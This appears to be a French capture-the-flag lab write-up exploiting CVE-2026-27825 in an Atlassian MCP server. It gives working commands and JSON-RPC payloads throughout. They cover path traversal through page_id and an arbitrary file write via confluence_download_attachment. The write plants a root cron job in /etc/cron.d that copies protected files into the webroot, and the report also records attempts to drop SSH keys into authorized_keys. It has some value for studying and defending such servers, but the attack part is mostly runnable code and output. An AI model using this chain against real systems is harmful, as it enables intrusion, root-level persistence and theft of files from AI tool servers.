Cible : 176.16.174.39
CVE : CVE-2026-27825
Date des opérations : 30 octobre – 2 novembre 2026
Flag : flag_57772dfb_a045_47eb_9b02_5a01965029fe
Ce rapport décrit uniquement les opérations effectuées sur la machine attribuée au lab. Les étapes d’écriture arbitraire et d’exécution cron sont intrusives : ne pas les reproduire sur un système tiers.
Résultat
- Flag local récupéré :
flag_57772dfb_a045_47eb_9b02_5a01965029fe /root/proof.txt: absent ou illisible dans le contexte d’exécution de la tâche cron
Schéma général du lab
1. Résumé exécutif
Le lab exposait un serveur MCP Atlassian en SSE sur le port 9000. L’outil confluence_download_attachment acceptait un chemin de destination arbitraire, comportement correspondant à la vulnérabilité d’écriture de fichier décrite pour CVE-2026-27825. En parallèle, un serveur HTTP statique sur le port 8080 servait le répertoire /var/www/html du même environnement que le serveur MCP : cette relation a été vérifiée en écrivant une copie d’une pièce jointe sous /var/www/html/mer-probe.txt, puis en la lisant via HTTP.
Le chemin vers le flag :
- Découverte des services
- Énumération des outils MCP
- Contournement de route par
page_id - Découverte d’une page Confluence valide
- Confirmation de l’écriture arbitraire et du répertoire web partagé
- Dépôt d’une tâche cron au moyen d’une pièce jointe
- Lecture du fichier résultat via le port 8080
2. Cartographie de la cible
2.1 Scan TCP complet
sudo nmap -Pn -n -p- -sV --open -T4 176.16.174.39
Sortie observée :
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8080/tcp open http SimpleHTTPServer 0.6 (Python 3.11.15)
9000/tcp open http Uvicorn
MAC Address: 06:FF:EA:32:99:87 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Interprétation :
| Port | Service | Rôle |
|---|---|---|
| 22 | SSH / OpenSSH 8.9p1 | Accès refusé (publickey) |
| 8080 | HTTP / SimpleHTTPServer Python | Serveur statique sur /var/www/html |
| 9000 | HTTP / Uvicorn | Serveur MCP Atlassian (SSE) |
2.2 Énumération web initiale
gobuster dir \
-u "http://176.16.174.39:8080/" \
-w /usr/share/wordlists/dirb/common.txt \
-x txt,html,json,py,conf,log,bak \
-t 20 \
-s 200,204,301,302,307,401,403 \
-b ""
Avant le dépôt du fichier cron :
index.html (Status: 200) [Size: 35]
Après l’exécution de la tâche cron :
flag.txt (Status: 200) [Size: 90]
index.html (Status: 200) [Size: 35]
index.html (Status: 200) [Size: 35]
Progress: 36904 / 36904 (100.00%)
La découverte de
flag.txten 200 confirme que le fichier de sortie créé sous/var/www/html/flag.txtétait accessible au serveur statique. Le doublonindex.htmlest un artefact de Gobuster avec l’option-x; ce n’est pas un second flag.
3. Connexion et découverte du protocole MCP
3.1 Transport SSE
L’endpoint SSE fonctionnel :
curl -N "http://176.16.174.39:9000/sse"
Réponse observée :
event: endpoint
data: /messages/?session_id=<identifiant-de-session>
Il fallait conserver le session_id fourni, puis envoyer les requêtes JSON-RPC à /messages/?session_id=....
Requête d’initialisation :
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "lab", "version": "1.0"}
}
}
Réponse MCP abrégée :
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"protocolVersion": "2024-11-05",
"capabilities": {
"experimental": {},
"prompts": {"listChanged": false},
"resources": {"subscribe": false, "listChanged": false},
"tools": {"listChanged": false}
},
"serverInfo": {"name": "mcp-atlassian", "version": "1.26.0"}
}
}
Notification d’initialisation :
{"jsonrpc": "2.0", "method": "notifications/initialized"}
Le point d’entrée
/mcpa réponduHTTP/1.1 404 Not Found. Les échanges suivants ont donc utilisé le transport SSE confirmé.
3.2 Outils exposés
L’appel tools/list a révélé six outils :
| Outil | Description |
|---|---|
confluence_search |
Recherche CQL dans Confluence |
confluence_get_page |
Récupération de page par ID |
confluence_list_spaces |
Liste des espaces |
confluence_list_attachments |
Liste des pièces jointes |
confluence_upload_attachment |
Upload d’une pièce jointe (page_id, filename, content) |
confluence_download_attachment |
Téléchargement vers un chemin local arbitraire (attachment_id, download_path) |
Le serveur annonçait la version
mcp-atlassian 1.26.0. L’avis CVE et l’avis GitHub décrivent la vulnérabilité upstream comme affectant les versions antérieures à 0.17.0. L’écart entre ce numéro upstream et leserverInfoobservé empêche d’identifier la version du paquet sous-jacent à partir de cette seule bannière ; le rapport conclut sur le comportement effectivement testé.
4. Découverte de la page Confluence et path traversal de route
L’espace ENG avait l’identifiant 65540. Les premiers essais (page_id=65540, 200000, 200001) ont échoué : 65540 était un ID d’espace, non un ID de page.
Un argument page_id contenant un segment de remontée a toutefois été interprété comme partie du chemin de l’API interne. La forme à un niveau a permis d’interroger la liste des pages :
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "confluence_get_page",
"arguments": {"page_id": "../pages?space-id=65540&limit=100"}
}
}
Sortie utile :
{
"results": [{
"body": {"storage": {"representation": "storage", "value": "<p>Sprint planning notes for Q1 2026.</p>"}},
"id": "101001",
"spaceId": "65540",
"status": "current",
"title": "Q1 Sprint Planning"
}]
}
La page valide était donc 101001, intitulée Q1 Sprint Planning, dans l’espace ENG.
Récupération des métadonnées de la pièce jointe :
{
"jsonrpc": "2.0",
"id": 4,
"method": "tools/call",
"params": {
"name": "confluence_get_page",
"arguments": {"page_id": "../attachments/att200001"}
}
}
Sortie observée :
{
"fileSize": 84,
"id": "att200001",
"mediaType": "text/plain",
"pageId": "101001",
"status": "current",
"title": "meeting-notes.txt"
}
5. Confirmation de l’écriture arbitraire et du répertoire web partagé
5.0 Fonction shell réutilisable (helper MCP)
IP=176.16.174.39
mcp_call() {
local payload="$1" rid="$2" log sid pid
log=$(mktemp)
curl -sN "http://$IP:9000/sse" >"$log" 2>&1 &
pid=$!
for _ in $(seq 1 20); do
sid=$(sed -n 's/.*session_id=//p' "$log" | head -n1 | tr -d '\r')
[ -n "$sid" ] && break
sleep 0.25
done
if [ -z "$sid" ]; then
cat "$log"; kill "$pid" 2>/dev/null; rm -f "$log"; return 1
fi
post_mcp() {
curl -sS -X POST "http://$IP:9000/messages/?session_id=$sid" \
-H 'Content-Type: application/json' --data-binary "$1" >/dev/null
}
post_mcp '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"lab","version":"1.0"}}}'
sleep 1
post_mcp '{"jsonrpc":"2.0","method":"notifications/initialized"}'
post_mcp "$payload"
sleep 3
grep -A1 "\"id\":$rid" "$log"
kill "$pid" 2>/dev/null
rm -f "$log"
}
5.1 Lecture/téléchargement vers un chemin local
mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"att200001","download_path":"/opt/app/meeting-notes.txt"}}}' 2
Réponse observée :
{
"status": "success",
"attachment_id": "att200001",
"title": "meeting-notes.txt",
"size": 84,
"saved_to": "/opt/app/meeting-notes.txt"
}
Cela confirme que
download_pathest utilisé comme destination d’écriture, conformément au défaut de validation de chemin décrit par la fiche CVE et l’avis GitHub.
5.2 Preuve contrôlée sur le webroot
mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"att200001","download_path":"/var/www/html/mer-probe.txt"}}}' 2
Réponse MCP :
{"status": "success", ..., "saved_to": "/var/www/html/mer-probe.txt"}
Vérification HTTP :
curl -sS -i http://176.16.174.39:8080/mer-probe.txt
Retour HTTP 200 :
Meeting notes - Q1 sprint planning.
Action items:
- Review backlog
- Assign stories
Déduction déterminante :
/var/www/htmlétait accessible en écriture par l’outil MCP et exposé par le serveur statique sur le port 8080. Ce canal a fourni la primitive d’exfiltration du résultat cron.
5.3 Autres chemins de test
| Chemin testé | Confirmé HTTP 200 |
|---|---|
/var/www/html/mer-probe.txt |
✅ Oui |
/usr/share/nginx/html/mer-probe.txt |
❌ Non vérifié publiquement |
/srv/www/mer-probe.txt |
❌ Non vérifié publiquement |
/opt/app/static/mer-probe.txt |
❌ Non vérifié publiquement |
/opt/app/public/mer-probe.txt |
❌ Non vérifié publiquement |
/opt/app/mer-probe.txt |
❌ Non vérifié publiquement |
/tmp/mer-probe.txt |
❌ Non vérifié publiquement |
Boucle de test utilisée :
n=2
for path in \
/var/www/html/mer-probe.txt \
/usr/share/nginx/html/mer-probe.txt \
/srv/www/mer-probe.txt \
/opt/app/static/mer-probe.txt \
/opt/app/public/mer-probe.txt \
/opt/app/mer-probe.txt \
/tmp/mer-probe.txt
do
payload=$(python3 -c 'import json,sys; print(json.dumps({"jsonrpc":"2.0","id":int(sys.argv[1]),"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"att200001","download_path":sys.argv[2]}}}))' "$n" "$path")
mcp_call "$payload" "$n"
n=$((n+1))
done
6. Tentatives écartées
| # | Hypothèse | Résultat |
|---|---|---|
| 1 | Redirection via en-têtes Atlassian | SSE continuait à renvoyer des erreurs http://localhost:5000/... |
| 2 | Entrée /mcp |
HTTP 404 Not Found — transport SSE requis |
| 3 | Accès direct aux flags sur port 8080 | Toutes les URL testées → 404 |
| 4 | Routes de téléchargement Confluence devinées (/download/..., /attachments/...) |
404 |
| 5 | Recherche CQL (type=attachment, flag, meeting) |
{"results": [], "totalSize": 0} |
| 6 | SSH par clé publique (root, ubuntu, local) | Permission denied (publickey) |
| 7 | Champ file_path lors de l’upload |
Non exposé dans le schéma — retourne fileSize: 5 (contenu probe uploadé, pas de lecture locale) |
Commandes de vérification associées :
# Recherches CQL infructueuses
mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_search","arguments":{"query":"type=attachment"}}}' 2
mcp_call '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"confluence_search","arguments":{"query":"type=attachment AND space=ENG"}}}' 3
mcp_call '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"confluence_search","arguments":{"query":"type=attachment AND text~\"flag\""}}}' 4
# Test du point d'entrée /mcp (streamable HTTP)
curl -i -X POST "http://176.16.174.39:9000/mcp" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
--data-binary '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"lab","version":"1.0"}}}'
# → HTTP/1.1 404 Not Found
# Tentatives SSH par clé publique
for user in root ubuntu local; do
ssh -i /tmp/mer-lab-key -o IdentitiesOnly=yes \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/tmp/mer_known_hosts \
"$user@176.16.174.39" 'id'
done
# → Permission denied (publickey) pour les trois comptes
# Chemins HTTP directs
IP=176.16.174.39
for path in /local.txt /proof.txt /flag /flag.txt /robots.txt /.env; do
echo "===== $path ====="
curl -sS --max-time 3 -w '\nHTTP %{http_code}\n' "http://$IP:8080$path" | head -c 500
echo
done
7. Récupération du flag par tâche cron
7.1 Contenu téléversé
La pièce jointe dédiée a été ajoutée à la page 101001 avec le contenu suivant :
* * * * * root cat /home/local.txt /root/proof.txt > /var/www/html/flag.txt 2>&1; rm -f /etc/cron.d/mer-flag
Appel JSON-RPC d’upload :
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "confluence_upload_attachment",
"arguments": {
"page_id": "101001",
"filename": "mer-cron.txt",
"content": "* * * * * root cat /home/local.txt /root/proof.txt > /var/www/html/flag.txt 2>&1; rm -f /etc/cron.d/mer-flag\n"
}
}
}
Réponse de l’upload :
{
"fileSize": 109,
"id": "attbcca3471",
"mediaType": "application/octet-stream",
"pageId": "101001",
"status": "current",
"title": "mer-cron.txt"
}
Commande shell complète :
CRON='* * * * * root cat /home/local.txt /root/proof.txt > /var/www/html/flag.txt 2>&1; rm -f /etc/cron.d/mer-flag'
UPLOAD=$(python3 -c 'import json,sys; print(json.dumps({"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_upload_attachment","arguments":{"page_id":"101001","filename":"mer-cron.txt","content":sys.argv[1]+"\n"}}}))' "$CRON")
mcp_call "$UPLOAD" 2
# → ID : attbcca3471 | fileSize: 109
7.2 Écriture de la tâche dans /etc/cron.d/
mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"attbcca3471","download_path":"/etc/cron.d/mer-flag"}}}' 2
Interprétation de la ligne cron :
| Champ | Valeur | Signification |
|---|---|---|
| Planification | * * * * * |
Déclenchement chaque minute |
| Utilisateur | root |
Format /etc/cron.d |
| Commande | cat /home/local.txt /root/proof.txt |
Lecture des deux fichiers attendus |
| Redirection | > /var/www/html/flag.txt 2>&1 |
Sortie + erreurs vers le webroot |
| Nettoyage | ; rm -f /etc/cron.d/mer-flag |
Auto-suppression après exécution |
L’écriture d’une entrée cron est également citée comme exemple d’impact dans la fiche CVE officielle et l’avis de sécurité du projet.
7.3 Lecture du résultat
IP=176.16.174.39
for i in $(seq 1 15); do
echo "===== essai $i ====="
curl -sS --max-time 3 -w '\nHTTP %{http_code}\n' \
"http://$IP:8080/flag.txt"
echo
sleep 5
done
Les 11 premiers essais répondaient 404. À partir de l’essai 12 :
flag_57772dfb_a045_47eb_9b02_5a01965029fe
cat: /root/proof.txt: No such file or directory
HTTP 200
Confirmation directe :
curl -sS http://176.16.174.39:8080/flag.txt
8. Conclusion et chaîne causale
| Étape | Action | Résultat |
|---|---|---|
| 1 | Scan nmap | MCP sur 9000, HTTP statique sur 8080, SSH sur 22 |
| 2 | Négociation SSE | Outils MCP énumérés, version mcp-atlassian 1.26.0 |
| 3 | Path traversal page_id |
Page 101001 découverte, pièce jointe att200001 identifiée |
| 4 | confluence_download_attachment |
Écriture arbitraire vers chemin local confirmée |
| 5 | Écriture dans /var/www/html |
Canal d’exfiltration HTTP validé (HTTP 200) |
| 6 | Upload de la tâche cron → attbcca3471 |
Contenu cron créé comme pièce jointe Confluence |
| 7 | Écriture dans /etc/cron.d/mer-flag |
Tâche déposée, cron exécuté au cycle suivant |
| 8 | curl /flag.txt (port 8080) |
Flag récupéré, proof.txt absent |
🏁 Flag final
flag_57772dfb_a045_47eb_9b02_5a01965029fe
cat: /root/proof.txt: No such file or directory
9. État des modifications et nettoyage
Fichiers écrits sur la cible :
/opt/app/meeting-notes.txt/var/www/html/mer-probe.txt/usr/share/nginx/html/mer-probe.txt,/srv/www/mer-probe.txt,/opt/app/static/mer-probe.txt,/opt/app/public/mer-probe.txt,/opt/app/mer-probe.txt,/tmp/mer-probe.txt/etc/cron.d/mer-flag(auto-suppression incluse, non vérifiée)/var/www/html/flag.txt
Pièces jointes créées sur la page 101001 :
mer-lab-key.pub,content-probe.txt,local-copy.txt,mer-cron.txt
Tentatives d’écriture de clé SSH :
/root/.ssh/authorized_keys2,/root/.ssh/authorized_keys/home/ubuntu/.ssh/authorized_keys,/home/local/.ssh/authorized_keys- → Connexions SSH refusées dans les trois cas
Conseil de remise en état : supprimer les fichiers de test confirmés, vérifier et retirer
/etc/cron.d/mer-flags’il existe encore, retirer les clés SSH éventuellement déposées. Ne pas utiliser l’outil d’écriture pour déposer une chaîne vide : cela tronque le fichier sans le supprimer. Les pièces jointes Confluence peuvent être supprimées via les fonctions d’administration du lab.
10. Limites de la retranscription
Les commandes MCP réutilisaient souvent un même squelette (ouverture SSE → session_id → initialize → notifications/initialized → tools/call). Pour éviter la répétition, ce rapport reproduit les requêtes JSON-RPC déterminantes et conserve les sorties pertinentes. La confirmation brute de l’écriture cron n’est pas présente dans les extraits transmis ; le succès d’exécution est établi par l’apparition ultérieure de flag.txt via HTTP et par son corps observé.
11. Dernière vérification Gobuster après exploitation
gobuster dir \
-u "http://176.16.174.39:8080/" \
-w /usr/share/wordlists/dirb/common.txt \
-x txt,html,json,py,conf,log,bak \
-t 20 \
-s 200,204,301,302,307,401,403 \
-b ""
Sortie pertinente :
flag.txt (Status: 200) [Size: 90]
index.html (Status: 200) [Size: 35]
index.html (Status: 200) [Size: 35]
Progress: 36904 / 36904 (100.00%)
Cette énumération finale confirme que le cron avait créé flag.txt et que le serveur statique le rendait accessible en HTTP 200. Le doublon index.html est un artefact de Gobuster ; le résultat déterminant est flag.txt.
Références
| # | Source | Description |
|---|---|---|
| 1 | Fiche CVE officielle | CVE-2026-27825 — écriture de fichier arbitraire via download_path |
| 2 | Avis GitHub du projet | Avis de sécurité upstream mcp-atlassian |
| 3 | Analyse Pluto Security | Analyse technique indépendante — primitive d’écriture et scénarios d’impact |
